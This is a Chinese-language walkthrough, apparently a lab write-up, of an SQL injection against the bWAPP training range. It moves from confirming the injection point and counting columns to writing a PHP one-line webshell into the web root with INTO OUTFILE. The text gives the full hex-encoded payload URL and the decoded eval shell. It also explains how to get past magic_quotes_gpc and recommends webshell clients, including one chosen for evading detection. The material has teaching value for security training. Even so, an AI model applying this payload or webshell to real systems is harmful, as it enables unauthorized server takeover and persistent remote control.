通过数据库的into outfie可以写入一句话木马进行getshell,由于利用环境相对苛刻,实际环境不常见,现以bWAPP靶场作为验证环境。
选择SQL Injection (GET/Select),安全等级选择low,php版本为5.2.17。
点击go,URL中显示movie参数,于是可直接在URL中构造数据。
注入点判断
构造1 and 1=1,正常显示
构造1 and 1=2,没有数据显示,于是可判断movie处存在整数型注入。
字段数判断(order by)
构造1 order by 8,显示unknown column 8,可知有7列。
字段显示顺序确定(union)
构造-1 union select 1,2,3,4,5,6,7
获取当前用户名和数据库名
可以判断第2列和第5列是字符,那么分别探测user(),database().
高级利用-getshell
如果想通过SQL注入getshell需要满足:
条件1:网站的绝对路径
条件2:gpc是关闭的
条件3:root用户权限
条件4:secure_file_priv不为NULL
使用into outfile写入一句话木马,构造payload:
2%20union%20select%201,2,3,4,5,6,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e%20into%20outfile%20%27D:/phpStudy/PHPTutorial/WWW/eval2.php%27
其中0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e是hex编码后的
<?php eval($_POST['test'])?>

结果报错,原因是单引号被转义。
查询资料发现低版本的php,magic_quotes_gpc默认是On,会对单引号加个反斜杠\处理,进行转义。
下面为php5.2.17版本的php.ini配置文件,可以看到gpc默认是开启的。
于是提高php版本至5.4.45,成功导出php木马,有个warning,不用管。

使用中国蚁剑连接,中国蚁剑比中国菜刀在高版本php上效果更好,曾试验过在某些高版本php上菜刀无法连接。据说冰蝎(https://github.com/rebeyond/Behinder)在动态二进制加密webshell做得很好,不易于被检测,也可以试试。